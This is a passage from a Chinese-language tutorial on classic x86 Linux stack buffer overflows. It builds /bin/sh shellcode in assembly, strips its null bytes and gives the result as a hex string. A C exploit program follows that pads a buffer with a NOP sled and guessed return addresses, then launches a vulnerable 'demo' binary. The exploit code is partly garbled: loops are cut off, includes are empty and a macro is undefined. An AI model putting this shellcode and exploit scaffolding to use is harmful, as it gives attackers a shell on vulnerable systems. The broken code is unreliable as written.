Jmp CALL
Popl %esi ‘利用CALL弹出压入的下一条语句的地址,其实就是我们构造的字符串的地址
movb $0x0,0x7(%esi) ‘输入0的字符串为结尾
mov %esi,0X8 (%esi) ‘构造NAME数组,放如字串的地址作为NAME[0]
mov $0x0,0xc(%esi) ‘构造NAME[1]为NULL, NAME[0]为4位地址,所以偏移为0xc
mov %esi,%ebx ‘设置数据段开始的地址
leal 0x8(%esi),%ecx ‘设置参数1
leal 0xc(%esi),%edx ‘设置参数2
mov $0xb,%eax ‘设置调用号
int $0x80 ‘调用
mov $0x0,%ebx
mov $0x1,%eax
int $0x80
Call popl
.string \"/bin/sh\" 然后通过C编译器编写MYSHELLASM.C
运行出错,原因代码段不允许进行修改,但是对于我们溢出是可以的,原因在于溢出是在数据段运行的, 通过GDB查看16进制码,倒出ASCII字符写出TEST.C程序来验证MYSHELLASM可以运行
ret = (int *)&ret + 2; //ret 等于main()执行完后的返回系统的地址
//(+2是因为:有pushl ebp ,否则加1就可以了。) 但是在堆栈溢出中,关键在于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时 候,以"\0" 为字符串结尾。遇\0就结束了写xx作。Myshell中有0X00的字符存在。
把所有赋予0的xx作用异或或者MOV已知为0的寄存器赋值来完成
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string \"/bin/sh\" 汇编得出的
shellcode =
"\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
我们开始来写一个攻击DEMO溢出的例子
1:把我们的shellcode提供给他,让他可以访问shellcode。
2:修改他的返回地址为shellcode的入口地址。 对于strcpy函数,我们要知道被溢出的缓冲的的地址。对于xx作系统来说,一个shell下的每一个程序的 堆栈段开始地址都是 相同的 。我们需要内部写一个调用来获得运行时的堆栈起始地址,来知道了目标程 序堆栈的开始地址。
(所有C函数的返回值都放在eax 寄存器 里面):
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
buffer相对于堆栈开始地址的偏移,对于DEMO我们可以计算出来,但对于真正有溢出毛病的程序我们在没 有源代码和去跟踪汇编是无法计算出的,只能靠猜测了。不过,一般的程序堆栈大约是 几K 左右。为了 提高命中率,增加溢出的SHELLCODE的长度和NOP指令,NOP指令的机器码为0x90。 同时在我们的程序中允 许输入参数来调节溢出点。
#include
#include
#define OFFSET 0
#define RET_POSITION 120
#define RANGE 20
#define NOP 0x90 char shellcode[]=
"\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
} main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i; if(argc>1)
offset=atoi(argv[1]); sp=get_sp();
addr=sp-offset; for(i=0;i *((long *)&(buff
))=addr; for(i=0;i buff=NOP; ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i *(ptr++)=shellcode;
buff[bsize-1]="\0"
for(i=0;i<132;i++)
printf("0x%08x\n",buff);
printf("Jump to 0x%08x\n",addr); execl("./demo","demo",buff,0);
}
注意,如果发现溢出允许的空间不足够SHELLCODE的代码,那么可以把地址放到前面去,SHELLCODE放在地 址的后面,程序进行一些改动,原理一致
(64位cpu已经把代码和数据分离,所有数据内存全部用标志设为绝对不可执行.一旦ip指针不可执行段跳入马上报错.所以溢出攻击看起来好象是无法继续了)